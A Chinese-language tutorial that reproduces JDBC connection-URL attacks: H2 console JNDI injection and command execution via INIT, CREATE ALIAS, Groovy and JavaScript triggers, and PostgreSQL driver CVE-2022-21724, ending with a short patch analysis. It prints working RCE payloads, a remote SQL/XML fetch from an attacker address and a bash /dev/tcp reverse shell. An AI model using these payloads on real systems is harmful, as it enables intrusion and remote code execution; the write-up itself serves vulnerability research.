文章目录
前言
JDBC是Java提供的一个接口,通常用于连接数据库,各种数据库引擎会实现这个接口编写自己的JDBC implement。常见的JDBC使用方法是在配置文件中写好JDBC使用的引擎,以及连接数据库的URL,如:
// JDBC连接的URL, 不同数据库有不同的格式:
String JDBC_URL = "jdbc:mysql://localhost:3306/test";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password"; // 获取连接:
Connection conn = DriverManager.getConnection(JDBC_URL, JDBC_USER, JDBC_PASSWORD);
// TODO: 访问数据库
...
// 关闭连接:
conn.close();
在一些场景下(比如后台修改数据库配置、测试数据库连接等),用户可以控制JDBC中的URL,这可能会造成安全问题。HITB2021SIN 中的议题 <Make JDBC Attacks Brilliant Again> 列举了H2、IBM DB2、MODEShape、Apache Derby、SQLite等数据库Driver,在Connect URL可控情况下的安全问题。
1、H2 database
h2 database是一个纯Java编写的关系型数据库,可以在内存中运行,通常用在小型的应用,或者单元测 试中。有点类似于sqlite的角色,但因为它是纯Java的,跨平台使用更加方便。
1.1 H2 database console未授权访问->JNDI注入
h2 database console可以单独启动(因为h2内置了一个Web Server):
也可以集成Springboot 使用:
依赖:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
</dependency>
在application.properties
文件进行相关配置,以允许访问h2 database console,路径默认为/h2-console
:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
JNDI注入复现
注意:这里的配置可以自定义
- Setting Name: Generic JNDI Data Source (名称随意)
- Driver Class:
javax.naming.InitialContext
(JDK自带也不用考虑额外的驱动) - JDBC URL: ldap://xxxxxx/abc(恶意LDAP Server)
- 由于是匿名的,User Name和Password均可为空
点击"Save"保存,然后点击"Connect",会加载远程CodeBase的恶意类并执行.
1.2 H2 database任意命令执行
在h2 database console,登录任意数据库后,进入管理页面后,可执行任意h2 sql语句。
参考h2 database的文档(参考[10]
),可看到其支持的指令中,有以下两个可用来自定义函数的指令,函数里面可执行任意代码。
CREATE ALIAS
CREATE TRIGGER
下面使用CREATE ALIAS
来定义一个shell函数,并调用它:
CREATE ALIAS shell4 AS $$void shell(String... s) throws Exception { new java.lang.ProcessBuilder(s).start(); }$$;
SELECT shell4('/bin/sh','-c','open -a Calculator');
在h2中,两个
$
符号可以表示无需转义的长字符串。
注意
这里有个前提,需要登录已存在的数据库,或者有创建数据库的权限。
如下图,如果没有创建数据库的权限,且test2是一个不存在的数据库名的话,点击connect,则会报下面的错误:
如果是Springboot方式集成h2 database的话,是没有创建数据库的权限的;
如果是h2 jar单独启动的话,默认也是不授予创建数据库的权限的,需要添加启动参数-ifNotExists
才可以。
1.3 JDBC攻击->RCE
h2 console这个场景是支持执行多条SQL语句的,但是大部分场景下,用户只能控制JDBC的URL,此时是否还能执行任意命令呢?
从官方文档可了解到,
https://www.h2database.com/html/features.html#database_url
https://www.h2database.com/html/features.html#execute_sql_on_connection
可以在JDBC URL中通过INIT
属性,使连接数据库时自动执行指定的DDL/DML语句,以下是官方说明:
可以在INIT
后指定多条语句,语句之间使用分号进行分隔,同时使用反斜杠进行转义。
如下:
jdbc:h2:~/tmp/h2-db/test1;INIT=CREATE ALIAS shell6 AS $$void shell(String... s) throws Exception { new java.lang.ProcessBuilder(s).start()\; }$$\;select shell6('/bin/sh','-c','open -a Calculator')
点击connect后,执行了命令,同时进入了管理页面。
也可以使用RUNSCRIPT
指令运行sql脚本文件:
jdbc:h2:~/tmp/h2-db/test1;INIT=RUNSCRIPT FROM '~/tmp/poc.sql'
有意思的是,在对sql文件内容读取时,使用的是URL对象,也就是说它除了支持本地文件外,还支持远程sql文件。所以可通过http指定远程的sql文件。
jdbc:h2:~/tmp/h2-db/test1;INIT=RUNSCRIPT FROM 'http://192.168.166.233:8000/poc.sql'
1.4 JDBC攻击->无外网利用->RCE
其实1.3
小节的最开始,已经介绍了一种无需出外网的利用方式,即通过分号进行分隔多个语句便可实现,而且无第三方依赖。
但是1.3
小节中另一种方式,即通过指定远程sql文件来实现RCE。但一些实际环境是不支持连接外网的,因此无法使用RUNSCRIPT FROM
来指定远程sql文件。
阅读 CREATE ALIAS
文档可以发现,我们可以使用Groovy替代原生Java来定义用户函数:
If you have the Groovy jar in your classpath, it is also possible to write methods using Groovy.
Example:
CREATE ALIAS tr AS $$@groovy.transform.CompileStatic
static String tr(String str, String sourceSet, String replacementSet){
return str.tr(sourceSet, replacementSet);
}
$$
还记得Groovy吧,在2019年,@Orange 曾发表过一个Jenkins远程代码执行漏洞,其中介绍过他遇到 的Groovy沙箱,并提出了使用元编程(Meta Programming)特性绕过沙箱的方法。
简单来说,就是利用Groovy元编程的技巧,在编译Groovy语句(而非执行时)就执行攻击者预期的代码。
直接使用@Orange 在文中给出的Payload作为 CREATE ALIAS
的源代码,然后再将完整SQL语句作为 INIT
属性的值:
CREATE ALIAS shell2 AS $$@groovy.transform.ASTTest(value={
assert new java.lang.ProcessBuilder('/bin/sh','-c','open -a Calculator').start();
})
def x$$
前提是:
需要添加Groovy相关依赖.
注意要安装groovy-sql而不是groovy:
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-sql</artifactId>
<version>3.0.8</version>
</dependency>
1.5 JDBC攻击->无第三方依赖->RCE
上面利用Groovy的方式,前提是目标环境存在Groovy的依赖。
来看一下另一种无需出网、也无第三方依赖的方式.
前文提到,支持用户自定义函数(UDF)的除了 CREATE ALIAS
,还有 CREATE TRIGGER
,它的详细介绍见官方文档(参考11
). 其中有这样一段描述:
The sourceCodeString must define a single method with no parameters that returns org.h2.api.Trigger. See CREATE ALIAS for requirements regarding the compilation. Alternatively, javax.script.ScriptEngineManager can be used to create an instance of org.h2.api.Trigger. Currently javascript (included in every JRE) and ruby (with JRuby) are supported. In that case the source must begin respectively with //javascript or #ruby.
可以看到,javax.script.ScriptEngineManager
可以用于创建 org.h2.api.Trigger
对象。 javax.script.ScriptEngineManager
是Java中用于执行脚本的引擎,同时用来实现Java与这些脚本之间的交互,所以使用javax.script.ScriptEngineManager
是可以调用Java对象和方法的。而Java 8原生自带了JavaScript的脚本引擎。
关键在于,在TriggerObject#loadFromSource()
方法中,不仅编译了脚本,还调用ScriptEngine#eval()
方法来执行脚本。只要是//javascript
开头就会被认为是JavaScript代码。
构造JDBC URL如下:
jdbc:h2:~/tmp/h2-db/test1;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
new java.lang.ProcessBuilder('/bin/sh','-c','open -a Calculator').start()$$
这里注意,//javascript
后面有个换行符,由于在Console页面上无法输入换行,所以利用burpsuite抓包并改包(用%0d%0a
或 %0d
或 %0a
跟在//javascript
后面都可以)。
2、PostgreSQL
2.1 PostgreSQL JDBC Driver RCE - CVE-2022-21724
漏洞公告:
https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
这同样是在JDBC Connection URL可控情况下将会出现某些安全问题。
pgjdbc根据通过authenticationPluginClassName
、sslhostnameverifier
、socketFactory
、sslfactory
、sslpasswordcallback
连接属性提供的类名来实例化插件实例。
然而,在实例化类之前,驱动程序并没有验证该类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
这里有一个使用Spring框架的开箱即用类的攻击例子:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
参考Spring Boot Connect to PostgreSQL Database Examples 来创建一个Springboot工程。(Springboot 2.6.0 + postgresql 42.3.1)
注:复现漏洞无需搭建postgresql数据库的环境。只有在复现sslfactory/sslfactoryarg
属性的情况时,使用nc开启某个端口的监听来代替postgresql的端口即可!
SpringbootPostgresqlApplication.java
@SpringBootApplication
public class SpringbootPostgresqlApplication implements CommandLineRunner {
@Autowired
private JdbcTemplate jdbcTemplate;
public static void main(String[] args) {
SpringApplication.run(SpringbootPostgresqlApplication.class, args);
}
@Override
public void run(String... args) throws Exception {
Map<String, Object> objMap = jdbcTemplate.queryForMap("select * from students where stu_id=?", new Object[]{5});
System.out.println("student=" + objMap.toString());
}
}
这里为了复现简单,直接在application.properties
里写死jdbc url:
spring.datasource.url=jdbc:postgresql://vulfocus.my:49157/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://192.168.166.233:8000/poc.xml
2.1.1 socketFactory / socketFactoryArg
和其它数据库的JDBC Driver一样,PostgreSQL JDBC Driver也支持很多property,先看CVE-2022-21724里用到的第一组property:socketFactory / socketFactoryArg
。
在JDBC url中,先将socketFactory属性值置空,运行,查看报错:
在SocketFactory#getSocketFactory()
方法中下断点:
进入ObjectFactory#instantiate()
可以实例化socketFactory属性指定的类,它的构造方法最多只能有一个参数,要实现RCE,这里可以利用的是参数类型为String的。而这里的参数则来自socketFactoryArg属性。
如果熟悉或初学Spring编程的,也许可以想到以下两个类:
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext
这两个类都可以用来通过该解析一个定义了spring bean的xml文件,去实现bean的加载。常见代码如下:
因此,Payload 如下:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>open</value>
<value>-a</value>
<value>Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
启动项目后便可复现:
反弹shell:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/192.168.166.233/443 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
2.1.2 sslfactory / sslfactoryarg
其实和socketFactory
/socketFactoryArg
差不多,只是多了对SSL加密的判断,可以看到建连后收到的请求以S
开头则表示SSL是成功支持的,则进入SSLSocketFactory()
然后进入SocketFactory#getSslSocketFactory()
,后面的逻辑就跟前面 socketFactory
/socketFactoryArg
的一样了。
只要在建立连接后,返回S
,便可触发。
2.1.3 loggerLevel / loggerFile
可以利用这两个属性进行任意文件写入,jdbc url如下:
spring.datasource.url=jdbc:postgresql://vulfocus.my:49157/test?whatever=aaaaaaaaaaaabbbbbbbccccccc&loggerLevel=TRACE&loggerFile=pgjdbcaaaaaaaaaaaaaaaaaa.log
运行后,会生成日志文件pgjdbcaaaaaaaaaaaaaaaaaaj.log
,该文件内容如下:
可以看到即便数据库连接出现错误,也会把连接过程的报错信息也写入你指定的日志文件里。因此这两个属性可结合低版本存在漏洞的日志组件如apache log4j2 进行利用。
比如:在JDBC url中注入log4j2 CVE-2021-44228 的payload,而数据库的连接信息都被记录在日志里,当存在漏洞的log4j2组件读取日志文件时,便会造成RCE。
但是从 pgjdbc 42.3.3 版本开始,这两个属性已不再支持。官方文档也已更新:
补丁分析
链接:
https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813
添加了代码逻辑验证该类是否实现了预期的接口。
参考
[1] https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf
[2] https://www.youtube.com/watch?v=MJWI8YXH1lg
[3] http://tttang.com/archive/1462/
[4] https://mp.weixin.qq.com/s/jb7mbPWdMp1vlgF8F1mshg
[5] https://paper.seebug.org/1832
[6] https://github.com/su18/JDBC-Attack
[7] https://vulhub.org/#/environments/h2database/h2-console-unacc/
[8] https://www.h2database.com/html/features.html#database_url
[9] https://www.h2database.com/html/grammar.html#dollar_quoted_string
[10] https://www.h2database.com/html/commands.html#create_alias
[11] https://www.h2database.com/html/commands.html#create_trigger
[12] https://jdbc.postgresql.org/documentation/head/connect.html